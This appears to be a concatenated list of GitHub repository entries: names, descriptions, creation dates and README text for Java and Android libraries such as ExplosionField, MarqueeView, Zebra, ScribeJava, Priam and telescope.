一群追日逐浪，正在改变世界的极客 你们用最美的语言，诠释着科技的力量 你们用极速的创新，引领着时代的变迁 ------至所有正在努力奋斗的程序猿们！加油！！ ## Licenses ``` Copyright 2017 nanchen(刘世麟) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ```

tyrantgit/ExplosionField

explosive dust effect for views

2015-09-23T11:34:50Z

# ExplosionField [](http://android-arsenal.com/details/1/2554) explosive dust effect for views  ## Getting started In your `build.gradle`: ```gradle dependencies { compile 'tyrantgit:explosionfield:1.0.1' } ``` ```java ExplosionField explosionField = ...; explosionField.explode(view); ``` ## License Copyright 2015 tyrantgit Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

sunfusheng/MarqueeView

俗名：可垂直跑、可水平跑的跑马灯；学名：可垂直翻、可水平翻的翻页公告

2016-06-01T06:50:46Z

# MarqueeView [  ](https://bintray.com/sfsheng0322/maven/MarqueeView/_latestVersion) 俗名：可垂直跑、可水平跑的跑马灯 学名：可垂直翻、可水平翻的翻页公告 ### 效果图 <img src="/resources/MarqueeView.gif" style="width: 30%;"> #### Gradle: compile 'com.sunfusheng:MarqueeView:<latest-version>' #### 属性 | Attribute 属性 | Description 描述 | |:--- |:---| | mvAnimDuration | 一行文字动画执行时间 | | mvInterval | 两行文字翻页时间间隔 | | mvTextSize | 文字大小 | | mvTextColor | 文字颜色 | | mvGravity | 文字位置:left、center、right | | mvSingleLine | 单行设置 | | mvDirection | 动画滚动方向:bottom_to_top、top_to_bottom、right_to_left、left_to_right | | mvFont | 设置字体 | #### XML <com.sunfusheng.marqueeview.MarqueeView android:id="@+id/marqueeView" android:layout_width="match_parent" android:layout_height="30dp" app:mvAnimDuration="1000" app:mvDirection="bottom_to_top" app:mvInterval="3000" app:mvTextColor="@color/white" app:mvTextSize="14sp" app:mvSingleLine="true" app:mvFont="@font/huawenxinwei"/> #### 设置字符串列表数据，或者设置自定义的Model数据类型 MarqueeView marqueeView = (MarqueeView) findViewById(R.id.marqueeView); List<String> messages = new ArrayList<>(); messages.add("1. 大家好，我是孙福生。"); messages.add("2. 欢迎大家关注我哦！"); messages.add("3. GitHub帐号：sunfusheng"); messages.add("4. 新浪微博：孙福生微博"); messages.add("5. 个人博客：sunfusheng.com"); messages.add("6. 微信公众号：孙福生"); marqueeView.startWithList(messages); // 或者设置自定义的Model数据类型 public class CustomModel implements IMarqueeItem { @Override public CharSequence marqueeMessage() { return "..."; } } List<CustomModel> messages = new ArrayList<>(); marqueeView.startWithList(messages); // 在代码里设置自己的动画 marqueeView.startWithList(messages, R.anim.anim_bottom_in, R.anim.anim_top_out); #### 设置字符串数据 String message = "心中有阳光，脚底有力量！心中有阳光，脚底有力量！心中有阳光，脚底有力量！"; marqueeView.startWithText(message); // 在代码里设置自己的动画 marqueeView.startWithText(message, R.anim.anim_bottom_in, R.anim.anim_top_out); #### 设置事件监听 marqueeView.setOnItemClickListener(new MarqueeView.OnItemClickListener() { @Override public void onItemClick(int position, TextView textView) { Toast.makeText(getApplicationContext(), String.valueOf(marqueeView1.getPosition()) + ". " + textView.getText(), Toast.LENGTH_SHORT).show(); } }); #### 重影问题可参考以下解决方案 在 Activity 或 Fragment 中 @Override public void onStart() { super.onStart(); marqueeView.startFlipping(); } @Override public void onStop() { super.onStop(); marqueeView.stopFlipping(); } 在 ListView 或 RecyclerView 的 Adapter 中 @Override public void onViewDetachedFromWindow(@NonNull ViewHolder holder) { super.onViewDetachedFromWindow(holder); holder.marqueeView.stopFlipping(); } <br/> ### 扫一扫[Fir.im](https://fir.im/MarqueeView)二维码下载APK <img src="/resources/fir.im.png"> <br/> ### 个人微信公众号 <img src="http://ourvm0t8d.bkt.clouddn.com/wx_gongzhonghao.png"> <br/> ### 打点赏给作者加点油^_^ <img src="http://ourvm0t8d.bkt.clouddn.com/wx_shoukuanma.png" > <br/> ### 关于我 [GitHub: sunfusheng](https://github.com/sunfusheng) [个人邮箱: sfsheng0322@126.com](https://mail.126.com/) [个人博客: sunfusheng.com](http://sunfusheng.com/) [简书主页](http://www.jianshu.com/users/88509e7e2ed1/latest_articles) [新浪微博](http://weibo.com/u/3852192525)

Meituan-Dianping/Zebra

美团点评集团统一使用的MySQL数据库访问层的中间件。主要提供对业务开发透明、读写分库、分库分表能力，并提供了端到端SQL监控的集成方案。

2016-08-19T07:36:09Z

# Zebra ## Introduction Zebra是一个基于JDBC API协议上开发出的高可用、高性能的数据库访问层解决方案，是美团点评内部使用的数据库访问层中间件。具有以下的功能点： - 配置集中管理，动态刷新 - 支持读写分离、分库分表 - 丰富的监控信息在CAT上展现 - 异步化数据库请求，多数据源支持 ## Core Value - 简化了读写分离、分库分表的开发工作，使得业务方在分库分库、读写分离的情况下，依然可以像操作单个库那样去操作，屏蔽底层实现的复杂性，对业务透明。 提供了从读写分离到分库分表全生命周期的技术支持。 - 完善的监控体系帮助开发掌控数据库请求的整个链路，快速定位问题。 - dao层扩展功能 ## Modules - zebra-client（核心） : 除了监控外，几乎zebra所有核心功能，如读写分离、分库分表、就近路由、流量控制 - zebra-cat-client（可选）: 提供端到端的监控，将监控信息上报到[CAT监控平台](https://github.com/dianping/cat) - zebra-dao(可选)：对mybatis的轻量级封装，兼容mybatis原有的功能，并额外提供了异步化接口、分页插件、多数据源等功能 - zebra-admin-web：zebra配置管理平台 用于管理zk和保存在zk中的zebra配置 - zebra-sample: zebra客户端使用的demo ## Quick Start - [快速开始](https://github.com/Meituan-Dianping/Zebra/wiki/QuickStart) ## Project Design - [Zebra客户端设计](https://github.com/Meituan-Dianping/Zebra/wiki/Zebra%E6%80%BB%E4%BD%93%E8%AE%BE%E8%AE%A1) ## License - [Apache2.0 License](https://github.com/Meituan-Dianping/Zebra/blob/master/LICENSE) ## Company  接入Zebra的公司欢迎在此[接入公司](https://github.com/Meituan-Dianping/Zebra/issues/18)留下联系方式, 谢谢。 ## Contact us - Mail: [zebra@dianping.com](zebra@dianping.com) - Issues : [https://github.com/Meituan-Dianping/Zebra/issues](https://github.com/Meituan-Dianping/Zebra/issues) - WeChat : [Zebra微信交流群](https://github.com/Meituan-Dianping/Zebra/wiki/WeChat%E4%BA%A4%E6%B5%81%E7%BE%A4)

scribejava/scribejava

Simple OAuth library for Java

2010-09-05T19:11:40Z

# Welcome to the home of ScribeJava, the simple OAuth client Java lib! [](https://github.com/scribejava/scribejava/blob/master/donate.md) [](https://maven-badges.herokuapp.com/maven-central/com.github.scribejava/scribejava) # Why use ScribeJava? ### Dead Simple Who said OAuth/OAuth2 was difficult? Configuring ScribeJava is __so easy your grandma can do it__! check it out: ```java OAuthService service = new ServiceBuilder(YOUR_CLIENT_ID) .apiSecret(YOUR_CLIENT_SECRET) .build(LinkedInApi20.instance()); ``` That **single line** (added newlines for readability) is the only thing you need to configure ScribeJava with LinkedIn's OAuth API for example. Working executable examples are [here](https://github.com/scribejava/scribejava/tree/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples) Common usage: [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20Example.java) ### Threadsafe Hit ScribeJava as hard and with many threads as you like. ### Java 7 compatible That's it. You can use it in old environments and in android apps. note: To compile from sources you will need Java 9 or newer ### Async and other HTTP clients ScribeJava support out-of-box several HTTP clients: * ning async http client 1.9.x (maven module scribejava-httpclient-ning) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FacebookAsyncNingExample.java) * Async Http Client asynchttpclient 2.x (maven module scribejava-httpclient-ahc) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20AsyncAHCExample.java) * OkHttp (maven module scribejava-httpclient-okhttp) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/GitHubAsyncOkHttpExample.java) * Apache HttpComponents HttpClient (maven module scribejava-httpclient-apache) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FacebookAsyncApacheExample.java) * Armeria HTTP client (required >= java 8) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20ArmeriaExample.java) * any externally created HTTP client [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/VkontakteExternalHttpExample.java) just add corresponding maven modules to your pom ### Supports many flows and additional features * [RFC 6749](https://tools.ietf.org/html/rfc6749) The OAuth 2.0 Authorization Framework, [Authorization Code Authorization Grant](https://tools.ietf.org/html/rfc6749#section-4.1), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20Example.java) * [RFC 6749](https://tools.ietf.org/html/rfc6749) The OAuth 2.0 Authorization Framework, [Resource Owner Password Credentials Authorization Grant](https://tools.ietf.org/html/rfc6749#section-4.3) * [RFC 6749](https://tools.ietf.org/html/rfc6749) The OAuth 2.0 Authorization Framework, [Client Credentials Authorization Grant](https://tools.ietf.org/html/rfc6749#section-4.4), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/VkontakteClientCredentialsGrantExample.java) * [RFC 6749](https://tools.ietf.org/html/rfc6749) The OAuth 2.0 Authorization Framework, [Refreshing an Access Token](https://tools.ietf.org/html/rfc6749#section-6), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20Example.java#L77) * [RFC 6750](https://tools.ietf.org/html/rfc6750) The OAuth 2.0 Authorization Framework: Bearer Token Usage * [RFC 7636](https://tools.ietf.org/html/rfc7636) Proof Key for Code Exchange by OAuth Public Clients (PKCE), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20WithPKCEExample.java) * [RFC 7009](https://tools.ietf.org/html/rfc7009) OAuth 2.0 Token Revocation, [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20RevokeExample.java) * [RFC 8628](https://tools.ietf.org/html/rfc8628) OAuth 2.0 Device Authorization Grant [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20DeviceAuthorizationGrantExample.java) * [RFC 5849](https://tools.ietf.org/html/rfc5849) The OAuth 1.0 Protocol, [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TwitterExample.java) ### Supports all (50+) major 1.0a and 2.0 OAuth APIs out-of-the-box * Asana (https://asana.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/AsanaExample.java) * Automatic (https://www.automatic.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/AutomaticExample.java) * AWeber (http://www.aweber.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/AWeberExample.java) * Box (https://www.box.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Box20Example.java) * Dataporten (https://docs.dataporten.no/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/DataportenExample.java) * Digg (http://digg.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/DiggExample.java) * Discord (https://discordapp.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/DiscordExample.java) * Доктор на работе (https://www.doktornarabote.ru/) * Dropbox (https://www.dropbox.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/DropboxExample.java) * Etsy (https://www.etsy.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/EtsyExample.java) * Facebook (https://www.facebook.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FacebookExample.java), [example with Async Apache HTTP client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FacebookAsyncApacheExample.java), [example with Async Ning HTTP client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FacebookAsyncNingExample.java) * Fitbit (https://www.fitbit.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FitbitApi20Example.java) * Flickr (https://www.flickr.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FlickrExample.java) * Foursquare (https://foursquare.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Foursquare2Example.java), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FoursquareExample.java) * Frappe (https://github.com/frappe/frappe) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FrappeExample.java) * Freelancer (https://www.freelancer.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/FreelancerExample.java) * Genius (http://genius.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/GeniusExample.java) * GitHub (https://github.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/GitHubExample.java), [example with OkHttp HTTP client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/GitHubAsyncOkHttpExample.java) * Google (https://www.google.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20Example.java), [example with Async Http Client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20AsyncAHCExample.java), [example Revoke](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20RevokeExample.java), [example with PKCEE](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Google20WithPKCEExample.java) * HeadHunter ХэдХантер (https://hh.ru/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/HHExample.java) * HiOrg-Server (https://www.hiorg-server.de/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/HiOrgServerExample.java) * Imgur (http://imgur.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/ImgurExample.java) * Instagram (https://www.instagram.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/InstagramExample.java) * Kaixin 开心网 (http://www.kaixin001.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Kaixin20Example.java) * Kakao (https://kakao.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/KakaoExample.java) * Keycloak (https://www.keycloak.org/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/KeycloakExample.java) * LinkedIn (https://www.linkedin.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/LinkedIn20Example.java), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/LinkedInExample.java), [example with custom scopes](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/LinkedInExampleWithScopes.java) * Mail.Ru (https://mail.ru/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MailruExample.java), [example with Async Ning HTTP Client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MailruAsyncExample.java) * MediaWiki (https://www.mediawiki.org/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MediaWikiExample.java) * Meetup (https://www.meetup.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Meetup20Example.java), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MeetupExample.java) * Microsoft Azure Active Directory (Azure AD) (http://azure.microsoft.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MicrosoftAzureActiveDirectoryExample.java) * Microsoft Azure Active Directory (Azure AD) 2.0 (http://azure.microsoft.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MicrosoftAzureActiveDirectory20Example.java) * Microsoft Live (https://login.live.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/LiveExample.java) * Misfit (http://misfit.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/MisfitExample.java) * NAVER (http://www.naver.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/NaverExample.java) * Odnoklassniki Одноклассники (http://ok.ru/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/OdnoklassnikiExample.java) * Polar (https://www.polar.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/PolarAPIExample.java) * Pinterest (https://www.pinterest.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/PinterestExample.java) * 500px (https://500px.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Px500Example.java) * Renren (http://renren.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/RenrenExample.java) * Salesforce (https://www.salesforce.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SalesforceExample.java), [example with Async Ning HTTP Client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SalesforceNingAsyncExample.java) * Sina (http://www.sina.com.cn/ http://weibo.com/login.php) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SinaWeibo2Example.java), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SinaWeiboExample.java) * Skyrock (http://skyrock.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SkyrockExample.java) * Slack (https://slack.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/SlackExample.java) * StackExchange (http://stackexchange.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/StackExchangeExample.java) * The Things Network (v1-staging and v2-preview) (https://www.thethingsnetwork.org/) [example v1](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TheThingsNetworkV1StagingExample.java), [example v2 preview](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TheThingsNetworkV2PreviewExample.java) * Trello (https://trello.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TrelloExample.java) * Tumblr (https://www.tumblr.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TumblrExample.java) * TUT.BY (http://www.tut.by/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TutByExample.java) * Twitter (https://twitter.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/TwitterExample.java) * uCoz (https://www.ucoz.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/UcozExample.java) * Viadeo (http://viadeo.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/ViadeoExample.java) * VK ВКонтакте (http://vk.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/VkontakteExample.java), [example Client Credentials Grant](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/VkontakteClientCredentialsGrantExample.java), [example with External HTTP Client](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/VkontakteExternalHttpExample.java) * Wunderlist (https://www.wunderlist.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/WunderlistExample.java) * Xero (https://www.xero.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/XeroExample.java) * XING (https://www.xing.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/XingExample.java) * Yahoo (https://www.yahoo.com/) [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/Yahoo20Example.java), [example](https://github.com/scribejava/scribejava/blob/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples/YahooExample.java) * check the [examples folder](https://github.com/scribejava/scribejava/tree/master/scribejava-apis/src/test/java/com/github/scribejava/apis/examples) ### Small and modular ScribeJava's code is small (about 1k LOC) and simple to understand. No smart-ass or "clever" hacks here. You can use only 'core' or 'with apis' maven modules ### Android-Ready Works out of the box with android(TM) applications. ### Stable & bulletproof Good test coverage to keep you safe from harm. When something bad actually happens, ScribeJava's meaningful error messages will tell you exactly what went wrong, when and where. ### Pull it from Maven Central! You can pull ScribeJava from the central maven repository, just add these to your __pom.xml__ file: ```xml <dependency> <groupId>com.github.scribejava</groupId> <artifactId>scribejava-apis</artifactId> <version>8.3.3</version> </dependency> ``` And in case you need just core classes (that's it, without any external API (FB, VK, GitHub, Google etc) specific code), you could pull just 'core' artifact. ```xml <dependency> <groupId>com.github.scribejava</groupId> <artifactId>scribejava-core</artifactId> <version>8.3.3</version> </dependency> ``` ## How can I help ScribeJava First of all, Pull Requests are welcome, the second option is [donations](https://github.com/scribejava/scribejava/blob/master/donate.md). ## When will ScribeJava support XXX (new RFC, custom functionality, new API etc.) When you will send the pull request. That's the way for a majority of changes here. Or you can ask someone to make the paid job for you. In some cases, when I'm interested in changes (technically or financially), I can implement the request myself. ## Paid consulting If you or your business depends on the Scribejava and you need any specific improvement or new feature not currently implemented in the Scribejava, consider contacting me about a paid job. ## Getting started in less than 2 minutes Check the [Getting Started](https://github.com/scribejava/scribejava/wiki/getting-started) page and start rocking! Please Read the [FAQ](https://github.com/scribejava/scribejava/wiki/faq) before creating an issue :) Some useful info and answers you can find on the [wiki](https://github.com/scribejava/scribejava/wiki) Also, remember to read the [fantastic tutorial](http://akoskm.github.io/2015/07/31/twitter-sign-in-for-web-apps.html) that [@akoskm](https://twitter.com/akoskm) wrote to easily integrate a server side app with an API (twitter in this case). ## Questions? Feel free to drop us an email or create issue right here on github.com ## Forks If you have a useful fork that should be listed there please contact us

Netflix/Priam

Co-Process for backup/recovery, Token Management, and Centralized Configuration management for Cassandra.

2011-07-20T17:51:25Z

<h1 align="center"> <img src="images/priam.png" alt="Priam Logo" /> </h1> <div align="center"> [Releases][release]&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;[Documentation][wiki]&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; [![Build Status][img-travis-ci]][travis-ci] </div> ## Important Notice * Priam 3.x branch supports Cassandra 2.x (2.0.x and 2.1.x). ## Table of Contents [**TL;DR**](#tldr) [**Features**](#features) [**Compatibility**](#compatibility) [**Installation**](#installation) **Additional Info** * [**Cluster Management**](#clustermanagement) * [**Changelog**](#changelog) ## TL;DR Priam is a process/tool that runs alongside Apache Cassandra to automate the following: - Backup and recovery (Complete and incremental) - Token management - Seed discovery - Configuration - Support AWS environment Apache Cassandra is a highly available, column oriented database: http://cassandra.apache.org. The name 'Priam' refers to the King of Troy in Greek mythology, who was the father of Cassandra. Priam is actively developed and used at Netflix. ## Features - Token management using SimpleDB - Support multi-region Cassandra deployment in AWS via public IP. - Automated security group update in multi-region environment. - Backup SSTables from local ephemeral disks to S3. - Uses Snappy compression to compress backup data on the fly. - Backup throttling - Pluggable modules for future enhancements (support for multiple data storage). - APIs to list and restore backup data. - REST APIs for backup/restore and other operations ## Compatibility See [Compatibility](http://netflix.github.io/Priam/#compatibility) for details. ## Installation See [Setup](http://netflix.github.io/Priam/latest/mgmt/installation/) for details. ## Cluster Management Basic configuration/REST API's to manage cassandra cluster. See [Cluster Management](http://netflix.github.io/Priam/latest/management/) for details. ## Changelog See [CHANGELOG.md](CHANGELOG.md) <!-- References --> [release]:https://github.com/Netflix/Priam/releases/latest "Latest Release (external link) ➶" [wiki]:http://netflix.github.io/Priam/ [repo]:https://github.com/Netflix/Priam [img-travis-ci]:https://travis-ci.com/Netflix/Priam.svg?branch=3.x [travis-ci]:https://travis-ci.com/Netflix/Priam

gitblit-org/gitblit

pure java git solution

2011-06-22T19:54:49Z

mattprecious/telescope

A simple tool to allow easy bug report capturing within your app.

2014-04-30T16:08:35Z

Telescope ====== A simple tool to allow easy bug report capturing within your app.  Usage ----- Place a `TelescopeLayout` at the root of your hierarchy. Add a callback to the view group with `setLens(Lens)`. Telescope provides two default implementations: * `EmailLens`: Compose an email with the provided addresses and subject (optional). * `EmailDeviceInfoLens`: Enhances `EmailLens` by pre-populating the email body with app and device info Screenshots will be stored on the external storage in your app's private directory. To have Telescope clean up the screenshots folder, call `TelescopeLayout.cleanUp(Context)`. Ideally, this would be called in the `onDestroy()` method of your `Activity` or `Fragment`. If you are using the Gradle-based build system, you can wrap this view group around your activity layouts only in the debug builds. See the [u2020 project][2] for a more advanced example. Permissions ----------- Pre-KitKat, `WRITE_EXTERNAL_STORAGE` is required for saving screenshots. Screenshots can be disabled using the configuration options below. Configuration ------------- The view group can be configured as follows: * Set the number of fingers to trigger with `app:telescope_pointerCount` / `setPointerCount(int)` * Set the progress color with `app:telescope_progressColor` / `setProgressColor(int)` * Change the screenshot method with `app:telescope_screenshotMode` / `setScreenshotMode(ScreenshotMode)` * Screenshot children only with `app:telescope_screenshotChildrenOnly` / `setScreenshotChildrenOnly(boolean)` * Set the screenshot target with`setScreenshotTarget(View)` * Disable vibration with `app:telescope_vibrate` / `setVibrate(boolean)` Download -------- Gradle: ```groovy compile 'com.mattprecious.telescope:telescope:2.3.0' ``` or Maven: ```xml <dependency> <groupId>com.mattprecious.telescope</groupId> <artifactId>telescope</artifactId> <version>2.3.0</version> <type>apklib</type> </dependency> ``` License -------- Copyright 2014 Matthew Precious Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. [1]: http://repository.sonatype.org/service/local/artifact/maven/redirect?r=central-proxy&g=com.mattprecious.telescope&a=telescope&v=LATEST [2]: https://github.com/jakewharton/u2020

cjlin1/libsvm

LIBSVM -- A Library for Support Vector Machines

2013-09-10T14:32:07Z

mongodb/mongo-java-driver

The official MongoDB drivers for Java, Kotlin, and Scala

2009-01-15T15:16:29Z

